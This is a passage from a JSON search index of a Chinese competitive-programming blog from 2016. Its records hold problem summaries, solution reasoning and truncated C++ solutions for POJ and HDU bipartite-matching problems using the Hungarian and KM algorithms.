j)的(lx[i]+ly[j])的值减少了d，也就是原来这条边不是可行边（否则j就会被遍历到了），而现在可能是； \u003c3\u003ej在增广轨中而i不在：此时边(i, j)的(lx[i]+ly[j])的值增加了d，也就是原来这条边不是可行边（若这条边是可行边，则在遍历到j时会紧接着执行DFS(i)，此时i就会被遍历到），现在仍不是； \u003c4\u003ei和j都不在增广轨中：此时边(i, j)的(lx[i]+ly[j])值不变，也就是这条边的可行性不变。 简单得说：(1) (3)(4)三种情况，不会改变一组点的可行性，用白话解释就是，以前满足那个等式而进入相等子图的点对不会因","date":"2016-06-01","externalUrl":null,"permalink":"/2016/06/hdu-2255--km/","section":"Posts","summary":"hdu 2255 题目链接 题意：传说在遥远的地方有一个非常富裕的村落,有一天,村长决定进行制度改革：重新分配房子。 这可是一件大事,关系到人民的住房问题啊。村里共有n间房间,刚好有n家老百姓,考虑到每家都要有房住（如果有老百姓没房子住的话，容易引起不安定因素），每家必须分配到一间房子且只能得到一间房子。 另一方面,村长和另外的村领导希望得到最大的效益,这样村里的机构才会有钱.由于老百姓都比较富裕,他们都能对每一间房子在他们的经济范围内出一定的价格,比如有3间房子,一家老百姓可以对第一间出10万,对第2间出2万,对第3间出20万.(当然是在他们的经济范围内).现在这个问题就是村领导怎样分配房子才能使收入最大.(村民即使有钱购买一间房子但不一定能买到,要看村领导分配的).","tags":["KM","二分图最佳匹配"],"title":"hdu 2255 奔小康赚大钱 (二分图最佳匹配，KM算法模板题）","type":"post"},{"categories":["ACM"],"content":"poj 3041题目链接 题意：一个nn的网格中，有k个大小为11的小行星，现在可以用激光枪每次消灭一行的小行星或者消灭一列的小行星。问最少需要使用多少次激光枪消灭所有的小行星。 思路：一个建图技巧是：对于网格图，我们可以把某个格子的横纵坐标看成点，而格子所代表的内容看成边来建图。 如果我们按照这样的方式建图，那么这道题的行或者列就成了点，而小行星就成了边。我们要做得是选最少的点，使得这些点覆盖所有的边。 根据Knoig定理，二分图的最小顶点覆盖数等于二分图的最大匹配数。 匈牙利一遍即可。1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月30日 星期一 21时42分55秒 4File Name :code/poj/3041.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34const int M=1E4+7; 35int n,k; 36int cnt; 37struct Edge 38{ 39 int v; 40 int nxt; 41}edge[M]; 42 43int head[N]; 44bool vis[N]; 45int link[N]; 46 47void addedge( int u,int v) 48{ 49 edge[cnt].v = v; 50 edge[cnt].nxt = head[u]; 51 head[u] = cnt; 52 cnt++; 53} 54void init() 55{ 56 ms(head,-1); 57 cnt = 0 ; 58} 59 60int find( int u) 61{ 62 for ( int i = head[u] ; i !=-1 ; i = edge[i].nxt) 63 { 64 int v = edge[i].v; 65 if (vis[v]) continue; 66 vis[v] = true; 67 if (link[v]==-1||find(link[v])) 68 { 69 link[v] = u; 70 return true; 71 } 72 } 73 return false; 74} 75int hungary() 76{ 77 int res = 0 ; 78 ms(link,-1); 79 for ( int i = 1 ; i \u003c= n ; i ++) 80 { 81 ms(vis,false); 82 if (find(i)) res++; 83 } 84 return res; 85} 86int main() 87{ 88 #","date":"2016-05-30","externalUrl":null,"permalink":"/2016/05/poj-3041/","section":"Posts","summary":"poj 3041题目链接 题意：一个nn的网格中，有k个大小为11的小行星，现在可以用激光枪每次消灭一行的小行星或者消灭一列的小行星。问最少需要使用多少次激光枪消灭所有的小行星。","tags":["匈牙利算法","最小顶点覆盖"],"title":"poj 3041 Asteroids (二分图的最小顶点覆盖，匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"poj1719题目链接 题意：射箭比赛，靶子是一个n*m的网格。网格的特点是没列只有两个白色，剩下的全是黑色。一共射m次，每列射一次，要求每行都射到至少一次才算合法，问是否有合法射法，如果有输出一组解。 思路：由于列数可能比行数多，那么我们把行编号作为左集合，列编号作为右集合，做一次匈牙利，对于每一行都找到它匹配的列，如果匹配数等于n，说明有解。对于输出一组街的问题，m列中已经匹配了n列，输出他们对应的link即可。对于剩下的m-n列，可以任意输出。由于之前不知道会剩下哪n-m列，所以在读入的时候有必要保存每一列的white格子的位置信息。 1A,有点爽。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月30日 星期一 20时44分59秒 4File Name :code/poj/1719.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m; 35char maze[N][N]; 36int head[2*N]; 37int cnt; 38int link[2*N]; 39int vis[2*N]; 40pi white[N]; 41struct Edge 42{ 43 int v; 44 int nxt; 45}edge[N*2]; 46 47void addedge( int u,int v) 48{ 49 edge[cnt].v = v; 50 edge[cnt].nxt = head[u]; 51 head[u] = cnt; 52 cnt++; 53} 54void init() 55{ 56 cnt = 0; 57 ms(head,-1); 58 59} 60 61 62int find( int u) 63{ 64 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 65 { 66 int v = edge[i].v; 67 if (vis[v]) continue; 68 vis[v] = true; 69 if (link[v]==-1||find(link[v])) 70 { 71 link[v] = u ; 72 return true; 73 } 74 } 75 return false; 76} 77int hungary() 78{ 79 int res = 0 ; 80 ms(link,-1); 81 82 for ( int i = 1 ; i \u003c= n ; i++) 83 { 84 ms(vis,false); 85 if (find(","date":"2016-05-30","externalUrl":null,"permalink":"/2016/05/poj-1719/","section":"Posts","summary":"poj1719题目链接 题意：射箭比赛，靶子是一个n*m的网格。网格的特点是没列只有两个白色，剩下的全是黑色。一共射m次，每列射一次，要求每行都射到至少一次才算合法，问是否有合法射法，如果有输出一组解。","tags":["匈牙利算法"],"title":"poj 1719 Shooting Contest (匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"hdu 4185题目链接 题意：给出一个nn的字符maze,‘.’代表水，‘#’代表油田。 挖油的机器一次会挖两个相邻方块。要求是必须两块必须都是油，不然会有杂质。问最多能挖多少次。 思路：和那道用12的小矩形块填充是一个思路。根据奇偶性对点标号，然后建图，匈牙利，2A. 第一遍是dfs写错了一个变量QAQ.a 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月30日 星期一 12时53分34秒 4File Name :code/hdu/4185.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1000; 34int n; 35char maze[N][N]; 36int f1[N][N],f2[N][N]; 37int tot1; 38int tot2; 39int cnt; 40int link[N*N]; 41bool vis[N*N]; 42int head[N*N]; 43struct Edge 44{ 45 int v; 46 int nxt; 47}edge[N*N*2]; 48 49void addedge( int u,int v) 50{ 51 edge[cnt].v = v; 52 edge[cnt].nxt = head[u]; 53 head[u] = cnt; 54 cnt++; 55} 56 57bool find( int u) 58{ 59 for ( int i = head[u] ; i !=-1 ; i = edge[i].nxt) 60 { 61 int v = edge[i].v; 62 //cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003c\" v:\"\u003c\u003cv\u003c\u003cendl; 63 if (vis[v]) continue; 64 vis[v] = true; 65 if (link[v]==-1||find(link[v])) 66 { 67 link[v] = u; 68 return true; 69 } 70 } 71 72 return false; 73} 74int hungary() 75{ 76 ms(link,-1); 77 int res = 0; 78 for ( int i = 1 ; i \u003c= tot1 ; i++) 79 { 80 ms(vis,false); 81 if (find(i)) res++; 82 } 83 return res; 84} 85int main() 86{ 87 #ifndef ONLINE_JUDGE 88 freopen(\"code/in.txt\",\"r\",std","date":"2016-05-30","externalUrl":null,"permalink":"/2016/05/hdu-4185/","section":"Posts","summary":"hdu 4185题目链接 题意：给出一个nn的字符maze,‘.’代表水，‘#’代表油田。 挖油的机器一次会挖两个相邻方块。要求是必须两块必须都是油，不然会有杂质。问最多能挖多少次。 思路：和那道用12的小矩形块填充是一个思路。根据奇偶性对点标号，然后建图，匈牙利，2A. 第一遍是dfs写错了一个变量QAQ.a","tags":["匈牙利算法"],"title":"hdu 4185 Oil Skimming (二分图最大匹配，匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"hdu 1068题目链接 题意：有n个同学。。给出同学之间的 爱慕关系。。。选出一个集合使得集合中的人没有爱慕关系。问能选出的最大集合是多少。 思路：没有数据范围，差评！题意说得也不清楚。。由数据知道。。爱慕关系一定是相互的。。。 这道题实际上是二分图的最大独立集问题。 最大独立集问题： 在Ｎ个点的图G中选出m个点，使这m个点两两之间没有边．求m最大值 学到的一点是：对于二分图，可能并不能明显得分成两个不相交的集合，而是一个整体。（有左集合到又集合的边，同时有又集合到左集合的边，就是说每条边都是无相边。。？） 这其实等于把两个无向图叠加在了一起（从左指向右的和从又指向左的） 所以hungary得到的最大匹配数应该除以2，才是真正的最大匹配数。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月28日 星期六 08时42分19秒 4File Name :code/hdu/1068.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+5; 34int n; 35int head[N]; 36//vector \u003cint\u003eedge[N]; 37int link[N]; 38bool vis[N]; 39 40int cnt; 41struct Edge 42{ 43 int v; 44 int nxt; 45}edge[10005]; 46 47void addedge( int u,int v) 48{ 49 edge[cnt].v = v; 50 edge[cnt].nxt = head[u]; 51 head[u] = cnt; 52 cnt++; 53} 54 55int dfs ( int u) 56{ 57 for ( int i = head[u] ; i !=-1 ; i = edge[i].nxt) 58 { 59 int v = edge[i].v; 60 if (vis[v]) continue; 61 vis[v] = true; 62 63 if (link[v]==-1||dfs(link[v])) 64 { 65 link[v] = u ; 66 return true; 67 } 68 } 69 return false; 70} 71int hungary() 72{ 73 ms(link,-1); 74 75 int res = 0 ; 76 for ( int i = 1 ; i \u003c= n ; i++) 77 { 78 ms(vis,false); 79 if (dfs(i)) res++; 80 } 81 re","date":"2016-05-28","externalUrl":null,"permalink":"/2016/05/hdu1068/","section":"Posts","summary":"hdu 1068题目链接 题意：有n个同学。。给出同学之间的 爱慕关系。。。选出一个集合使得集合中的人没有爱慕关系。问能选出的最大集合是多少。","tags":["匈牙利算法","最大独立集"],"title":"hdu 1068 Girls and Boys (二分图的最大独立集，匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"hdu 3225题目链接 题意：给出一个n*m的矩阵。每个格子有一个数。每行1..n必须每个出现一次。每列1..n每个数最多出现一次。现在要添加一行，并且补违反上述规则。问添加的方案中字典序第k小的方案。如果一共不足k种方案，那么输出-1. 思路：有点像八皇后。。。就是纯搜。。。不过n好大。。。这么搜会TLE… 想了半天也没思路。。。看了题解。。发现是用二分图匹配来剪枝。。 比较重要的一点是。。。 n个数的某种排列，可以看做是一个位置集合{1..n}和数字集合{1..n}的二分图最大匹配。 我们可以根据这个来剪枝。 具体做法： 我们先求出一个完备匹配，然后搜索每个位置能够种的花，假设当前位k置种了花i,那么判断k+1–n位置能不能形成一个完备匹配（即能否种出满足条件的花），若能那么当前位置可以种该花，继续搜索，若不能这返回 然后把一个false写了true.调了一个小时。。。。。。。。。。。。。。无语凝噎。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月27日 星期五 00时42分16秒 4File Name :code/hdu/3225.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34bool lie[N][N]; 35bool hang[N]; 36int n,m,k; 37int cnt; 38//vector \u003cint\u003eans[N]; //不用每个都存，只存第k个就好。。。前面的随便覆盖。。。 39int cur[N]; 40int link[N],tmp[N]; 41bool vis[N]; 42bool g[N][N]; 43 44 45bool findgirl( int x,int limit) 46{ 47 if (x\u003c=limit) return false;//找到的匹配位置一定要在当前的后面。 48 for ( int i = 1 ; i \u003c= n ; i++) 49 { 50 if (g[x][i]\u0026\u0026!vis[i]) 51 { 52 vis[i] = true; 53 if (link[i]==-1||findgirl(link[i],limit)) 54 { 55 link[i] = x; 56 return true; 57 } 58 } 59 } 60 return false; 61} 62bool hungary() 63{ 64 ms(link,-1); 65 66 for ( int i = 1 ; i \u003c= n ; i++) 67 { 68 ms(vis,false); 69 if (","date":"2016-05-27","externalUrl":null,"permalink":"/2016/05/hdu-3225/","section":"Posts","summary":"hdu 3225题目链接 题意：给出一个n*m的矩阵。每个格子有一个数。每行1..n必须每个出现一次。每列1..n每个数最多出现一次。现在要添加一行，并且补违反上述规则。问添加的方案中字典序第k小的方案。如果一共不足k种方案，那么输出-1.","tags":["dfs","二分图匹配","剪枝","匈牙利算法"],"title":"hdu 3225 Flowers Placement （dfs+匈牙利算法剪枝，太神了）","type":"post"},{"categories":["ACM"],"content":"poj 1469 题目链接 题意：p个课程，n个学生，给出每个课程对应选取该课程的学生编号，问能否选出p个学生，使得和课程一一对应。 思路：一眼二分图最大匹配。。。需要注意的是。。两个集合可能分别给出。。建图的最大点数是两个集合的最大数目之和。。。因为没注意这个细节RE了一次。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月26日 星期四 23时53分39秒 4File Name :code/poj/1469.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=30003; 34int n,p; 35int head[405]; 36int cnt ; 37int link[405]; 38bool vis[405]; 39struct Edge 40{ 41 int v; 42 int nxt; 43}edge[N]; 44 45void addedge( int u,int v) 46{ 47 edge[cnt].v = v; 48 edge[cnt].nxt = head[u]; 49 head[u] = cnt; 50 cnt++; 51} 52 53 54bool dfs( int u) 55{ 56 // cout\u003c\u003c\"u:\"\u003c\u003cu\u003c\u003cendl; 57 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 58 { 59 int v = edge[i].v; 60 if (vis[v]) continue; 61 vis[v] = true; 62 63 if (link[v]==-1||dfs(link[v])) 64 { 65 link[v] = u; 66 return true; 67 } 68 } 69 return false; 70} 71int hungary() 72{ 73 int res = 0 ; 74 ms(link,-1); 75 76 for ( int i = 1 ; i \u003c= p ; i++) 77 { 78 ms(vis,false); 79 if (dfs(i)) res++; 80 } 81 82 return res; 83 84} 85int main() 86{ 87 #ifndef ONLINE_JUDGE 88 freopen(\"code/in.txt\",\"r\",stdin); 89 #endif 90 int T; 91 scanf(\"%d\",\u0026T); 92 while (T--) 93 { 94 scanf(\"%d%d\",\u0026p,\u0026n);","date":"2016-05-26","externalUrl":null,"permalink":"/2016/05/poj1469/","section":"Posts","summary":"poj 1469 题目链接 题意：p个课程，n个学生，给出每个课程对应选取该课程的学生编号，问能否选出p个学生，使得和课程一一对应。","tags":["匈牙利算法"],"title":"poj 1469 COURSES (匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"poj 1325 题目链接 题意：有两台机器A和B,分别有n和m种工作模式。 现在有k个job,三元组（i,x,y),job i可以用A机器的x模式完成或者用B机器的y模式完成。初始两个机器都在模式0.机器更换模式的时候需要重启，问最少的重启次数。 思路：这道题的难点在于建图。。。每个job恰好对应了两种模式。。那么如果把模式看成点。。边就对应了这个job。。这样就是一个二分图。。。至于方向。。。怎么指都可以。。。统一就行。。 完全没有图的影子的题依然可以用图论解决。。。而且算是加深了对图这种模型的理解把。 然后这道题就变成了二分图的最小顶点覆盖。 二分图中，选取最少的点数，使这些点和所有的边都有关联（把所有的边的覆盖），叫做最小点覆盖。 根据Knoig定理：二分图的最小顶点覆盖数等于二分图的最大匹配数。 一个证明：二分图最小顶点覆盖的证明 剩下的就是裸的hungary.. 然而WA了好几次。。。 一个小细节没处理好。。。 由于初始是模式0.。。 所以模式0肯定要特殊考虑。。。因为初始状态是没有重启的。。。 但是我错误得以为只有当存在（i,0,0）这样的边时才忽略不算。。。 但是其实只要有一个端点是0就好了啊。。。不管哪端是0，我就用这个0来完成工作。。。依然不增加重启次数。。。 这不是什么坑点。。。脑袋秀逗了。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月26日 星期四 21时41分11秒 4File Name :code/poj/1325.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n,m,k; 35int cnt; 36struct Edge 37{ 38 int v; 39 int nxt; 40}edge[N]; 41 42 43int head[N]; 44int link[N]; 45bool vis[N]; 46 47void addedge( int u,int v) 48{ 49 edge[cnt] .v = v; 50 edge[cnt].nxt = head[u]; 51 head[u] = cnt; 52 cnt++; 53} 54 55 56bool dfs( int u) 57{ 58 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 59 { 60 int v = edge[i].v; 61 if (vis[v]) continue; 62 vis[v] = true; 63 64 if (link[v]==-1||dfs(li","date":"2016-05-26","externalUrl":null,"permalink":"/2016/05/poj-1325-machine-schedule/","section":"Posts","summary":"poj 1325 题目链接 题意：有两台机器A和B,分别有n和m种工作模式。 现在有k个job,三元组（i,x,y),job i可以用A机器的x模式完成或者用B机器的y模式完成。初始两个机器都在模式0.机器更换模式的时候需要重启，问最少的重启次数。","tags":["二分图匹配","匈牙利算法","最小顶点覆盖"],"title":"poj 1325 Machine Schedule(二分图的最小顶点覆盖，匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"poj 1422题目链接 题意+思路：DAG的最小路径覆盖。。。匈牙利算法。。。poj 2594的低配版。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月26日 星期四 20时24分15秒 4File Name :code/poj/r2594.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=505; 34int n,m; 35bool conc[N][N]; 36bool vis[N]; 37int link[N]; 38void floyd() 39{ 40 for ( int k = 1 ; k \u003c= n ; k++) 41 for ( int i = 1 ; i \u003c= n ; i++) 42 for ( int j = 1 ; j \u003c= n ; j++) 43 if (conc[i][k]\u0026\u0026conc[k][j]) conc[i][j] = true; 44} 45 46 47bool dfs( int u) 48{ 49 for ( int i = 1 ; i \u003c= n ; i++) 50 { 51 if (conc[u][i]) 52 { 53 if (vis[i]) continue; 54 vis[i] = true; 55 if (link[i]==-1||dfs(link[i])) 56 { 57 link[i] = u; 58 return true; 59 } 60 } 61 } 62 return false; 63} 64int hungary() 65{ 66 int res = 0 ; 67 ms(link,-1); 68 for ( int i = 1 ; i \u003c= n ; i++) 69 { 70 ms(vis,false); 71 if (dfs(i)) res++; 72 } 73 return res; 74} 75int main() 76{ 77 #ifndef ONLINE_JUDGE 78 freopen(\"code/in.txt\",\"r\",stdin); 79 #endif 80 81 while (scanf(\"%d%d\",\u0026n,\u0026m)!=EOF) 82 { 83 if (n==0\u0026\u0026m==0) break; 84 ms(conc,false); 85 for ( int i = 1 ; i \u003c= m ; i++) 86 { 87 int u,v; 88 scanf(\"%d%d\",\u0026u,\u0026v); 89 conc[u][v] = true; 90 } 91 92 floyd(); 93 in","date":"2016-05-26","externalUrl":null,"permalink":"/2016/05/poj-1422/","section":"Posts","summary":"poj 1422题目链接 题意+思路：DAG的最小路径覆盖。。。匈牙利算法。。。poj 2594的低配版。。","tags":["匈牙利算法","最小路径覆盖"],"title":"poj 1422 Air Raid (DAG的最小路径覆盖，匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"poj 2594 题目链接 题意：一个DAG图，每个点有宝藏…可以降落任意个机器人到任意点…然后机器人可以沿着路径走，路过某个点的时候，可以取走该点的宝藏。问要取走所有宝藏，最少需要多少个机器人。 思路：乍一看。。很像DAG图的最小路径覆盖。。但是最小路径覆盖是要求每个点只能经过一次的。。而这道题路过某个点的时候，可以不取走宝藏。。以及题面里明确说了“you should notice that the roads of two different robots may contain some same point. ” 那是否还可以用最小路径覆盖做呢。。答案是可以的。。。 区别就在于一个点如果被一条路径使用过一次，还可不可以使用第二次。。。 如果我们按照传统的DAG图的最小路径覆盖考虑。。。如果一个点会被路径经过两次。。。那么我们不妨增加一个点。。。 进一步考虑。。。我们要的是尽可能覆盖所有点。。。如果这条路径前后的点不会因为这个点而中断，那么这个增设点是否存在，其实是无所谓的，只要改点前后的点连通性不受影响即可。 说到连通性，不禁想到floyd求传递闭包。 然后对于DAG图的最小路径覆盖问题。。。就可以用hungary算法求解。。。 ans = n - 最大匹配数。 这应该算作hungary的一个应用。","date":"2016-05-26","externalUrl":null,"permalink":"/2016/05/poj-2594/","section":"Posts","summary":"poj 2594 题目链接 题意：一个DAG图，每个点有宝藏…可以降落任意个机器人到任意点…然后机器人可以沿着路径走，路过某个点的时候，可以取走该点的宝藏。问要取走所有宝藏，最少需要多少个机器人。","tags":["floyd","传递闭包","匈牙利算法","最小路径覆盖"],"title":"poj 2594 Treasure Exploration (DAG图最小路径覆盖变形，匈牙利算法+floyd求传递闭包)","type":"post"},{"categories":["ACM"],"content":"poj 2446 题目链接 题意：一个nm的矩形方格里，有k个坏点，然后问能否用12的矩形块将矩形方格填满。坏点不能填，小的矩形块不能重叠，不能超出边界。不能有好点没有被填。 思路：乍一看没什么好的思路。。。然后发现小的矩形块只能有两种放置方法（横着放，竖着放） 可能我们对于第i个，可以横着放，也可以竖着放，但是可能某种方案使得后面的某一块没办法放置，因此我们需要反过来调整第i块的放法。 这个过程似乎和二分图匹配有点类似。。？ 那到底有没有相似点呢。。。又如何划分集合呢。。。？ 如果每个小方格看做点，能不能填满，其实就等价与这些点的最大匹配数×2+坏点数=mn是否成立。。。那如何划分集合呢。。。？ 我们可以根据点的坐标的奇偶性划分集合。。。因为小矩形块是21的，所以容易知道，每块矩形块放置的两个点一定属于不同的集合。。这样就满足了二分图匹配问题的模型。。。 然后匈牙利搞之。 这题一开始WA了。。WA在没有注意到一个小细节，使得连边的时候，有的是左点指向右点，而有的连成了右点指向左点。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 20时19分04秒 4File Name :code/poj/2446.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N = 40; 34int n,m,k; 35bool hole[N][N]; 36int f1[N][N],f2[N][N]; 37int tot1,tot2; 38int head[N*N*2]; 39int cnt; 40bool vis[N*N*2]; 41int link[N*N*2]; 42struct Edge 43{ 44 int v; 45 int nxt; 46}edge[2*N*N]; 47void addedge( int u,int v) 48{ 49 edge[cnt].v = v; 50 edge[cnt].nxt = head[u]; 51 head[u] = cnt; 52 cnt++; 53} 54 55bool dfs( int u) 56{ 57 for ( int i = head[u] ; i!=-1 ; i = edge[i].nxt) 58 { 59 int v = edge[i].v; 60 if (vis[v]) continue; 61 vis[v] = true; 62 if (link[v]==-1||dfs(link[v])) 63 { 64 link[v] = u; 65 return true; 66 } 67 } 68 r","date":"2016-05-26","externalUrl":null,"permalink":"/2016/05/poj2446/","section":"Posts","summary":"poj 2446 题目链接 题意：一个nm的矩形方格里，有k个坏点，然后问能否用12的矩形块将矩形方格填满。坏点不能填，小的矩形块不能重叠，不能超出边界。不能有好点没有被填。","tags":["匈牙利算法"],"title":"poj 2446 Chessboard (匈牙利算法)","type":"post"},{"categories":["ACM"],"content":"poj 1274题目链接 裸的匈牙利。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年05月25日 星期三 17时49分22秒 4File Name :code/poj/1274.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair 